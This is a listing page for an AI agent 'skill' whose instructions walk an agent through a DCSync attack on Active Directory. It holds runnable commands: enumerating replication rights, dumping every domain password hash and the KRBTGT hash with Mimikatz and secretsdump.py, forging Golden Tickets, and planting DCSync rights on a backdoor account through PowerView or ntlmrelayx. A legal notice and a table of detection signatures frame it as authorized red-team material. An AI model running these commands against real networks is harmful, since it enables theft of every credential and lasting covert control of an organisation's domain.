Conducting Domain Persistence with DCSync
SkillSecurityThis skill guides an AI agent through a DCSync attack, a red-team technique that abuses MS-DRSR replication rights to impersonate a Domain Controller and extract password hashes. It covers enumerating principals with DS-Replication-Get-Changes or DS-Replication-Get-Changes-All rights, dumping hashes with Mimikatz or Impacket's secretsdump, and using the KRBTGT hash to forge Golden Tickets for domain persistence. Each step is mapped to MITRE ATT&CK techniques for documentation.
Use Conducting Domain Persistence with DCSync in Claude, ChatGPT or Ahel Desktop
Free. Sign in, add Conducting Domain Persistence with DCSync and connect your AI. About a minute.
Also: Claude Code · Cursor · Codex
Then ask your AI: use the Conducting Domain Persistence with DCSync skill
Details
Instructions available. Your AI can read the instructions. Execution depends on the setup they require.
Account requirements not reviewed. Check the skill instructions before use; ahel provides instructions and does not run this skill.
No other account needed.
Confirm you have written authorization for the engagement and a test or lab environment.
What your AI can do with it
- Enumerate accounts holding DS-Replication-Get-Changes or DS-Replication-Get-Changes-All
- Perform DCSync with Mimikatz or Impacket's secretsdump.py
- Extract the KRBTGT account hash for Golden Ticket creation
- Dump all domain user password hashes for credential analysis
- Forge Golden Tickets for persistent domain access
- Grant DCSync rights to a controlled account for alternative persistence
Getting started
- Confirm you have written authorization for the engagement and a test or lab environment.
- Install Python 3.8 or later with the required dependencies.
- Identify principals in Active Directory that hold replication rights.
- Run the DCSync step with Mimikatz or Impacket's secretsdump.py to extract hashes.
- Use the KRBTGT hash to forge a Golden Ticket or grant replication rights to a controlled account.
What this skill tells your AI
The instructions your AI receives, as published by mukul975/anthropic-cybersecurity-skills in skills/conducting-domain-persistence-with-dcsync/SKILL.md and read by ahel’s review.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.
When to Use
- When conducting security assessments that involve conducting domain persistence with dcsync
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Identify accounts with DCSync (replication) rights in Active Directory
- Perform DCSync using Mimikatz or Impacket's secretsdump.py
- Extract the KRBTGT account hash for Golden Ticket creation
- Dump all domain user password hashes for credential analysis
- Forge Golden Tickets for persistent domain access
- Grant DCSync rights to a controlled account for alternative persistence
- Document the attack chain and persistence mechanisms
MITRE ATT&CK Mapping
- T1003.006 - OS Credential Dumping: DCSync
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1222.001 - File and Directory Permissions Modification: Windows
- T1098 - Account Manipulation
- T1078.002 - Valid Accounts: Domain Accounts
Workflow
Phase 1: Identify Accounts with DCSync Rights
- Enumerate principals with replication rights:
# Using PowerView Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { ($_.ObjectAceType -match 'Replicating') -and ($_.ActiveDirectoryRights -match 'ExtendedRight') } | Select-Object SecurityIdentifier, ObjectAceType # Using BloodHound Cypher query MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name, d.name - Using Impacket's FindDelegation or custom LDAP query:
# Check with Impacket findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - Default accounts with DCSync rights:
- Domain Admins
- Enterprise Admins
- Domain Controllers group
- SYSTEM on Domain Controllers
Phase 2: DCSync Credential Extraction
- Using Mimikatz (Windows):
# Dump specific account (KRBTGT for Golden Ticket) mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" # Dump Domain Admin mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator" # Dump all domain accounts mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" - Using Impacket secretsdump.py (Linux):
# Dump all credentials secretsdump.py domain.local/admin:'Password123'@10.10.10.1 # Dump specific user secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1 # Dump only NTLM hashes (no Kerberos keys) secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1 # Using Kerberos authentication export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
Phase 3: Golden Ticket Creation
- Using Mimikatz with extracted KRBTGT hash:
# Create Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> /ptt" # Create with specific group memberships mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> \ /groups:512,513,518,519,520 /ptt" - Using Impacket ticketer.py (Linux):
# Create Golden Ticket ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \ -domain domain.local administrator # Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
Phase 4: Persistence via DCSync Rights
- Grant DCSync rights to a controlled account for persistence:
# Using PowerView - Add DS-Replication-Get-Changes-All rights Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \ -PrincipalIdentity backdoor_user -Rights DCSync # Verify rights were added Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" } - Using ntlmrelayx.py for automated DCSync rights escalation:
# Relay authentication to add DCSync rights ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
Tools and Resources
| Tool | Purpose | Platform |
|---|---|---|
| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |
| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |
| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |
| PowerView | ACL enumeration and modification | Windows (PowerShell) |
| Rubeus | Kerberos ticket manipulation | Windows (.NET) |
| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |
Critical Hashes to Extract
| Account | Purpose | Persistence Value |
|---|---|---|
| krbtgt | Golden Ticket creation | Indefinite domain access |
| Administrator | Direct DA access | Immediate privileged access |
| Service accounts | Lateral movement | Service access across domain |
| Computer accounts | Silver Ticket creation | Service-level impersonation |
Detection Signatures
| Indicator | Detection Method |
|---|---|
| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |
| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) |
| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |
| ACL modifications on domain root object | Event 5136 (directory service changes) |
| Replication traffic volume spike | Network baseline deviation monitoring |
Validation Criteria
- Accounts with DCSync rights enumerated
- KRBTGT hash extracted via DCSync
- All domain credentials dumped successfully
- Golden Ticket forged and validated for DA access
- DCSync rights persistence mechanism established (if in scope)
- Access to Domain Controller validated with Golden Ticket
- Evidence documented with hash values and timestamps
- Remediation recommendations provided (double KRBTGT reset, ACL audit)
Signals
- GitHub stars
- 34k
- Forks
- 4k
- Last commit
- Aug 2026
ahel review
K1binfo
installs-packages (in scripts/agent.py)K1binfo
installs-packages (in references/api-reference.md)
Automated review, not a security audit. Ruleset v1+k2.
Questions
- What is DCSync?
- DCSync abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC.
- Which rights are abused?
- The DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal with these rights can replicate password hashes for any account in the domain.
- Which tools are used?
- Mimikatz or Impacket's secretsdump.py.
Advanced
- Item type
- skill
- Key
conducting-domain-persistence-with-dcsync-mukul975- Source
- github.com/mukul975/anthropic-cybersecurity-skills
github.com/mukul975/anthropic-cybersecurity-skills
Related picks
Skill · wshobson
The pick for Pythonpython-pro
Skill · jeffallan
The pick for Pythondotnet-test
Skill · nikiforovall
The pick for .NETdotnet-clickonce-config
Skill · a5c-ai
The pick for .NETgenerate-sandbox-policy
Skill · nvidia
The pick for Infrahttp-to-https
Skill · thedaviddias
The pick for Infra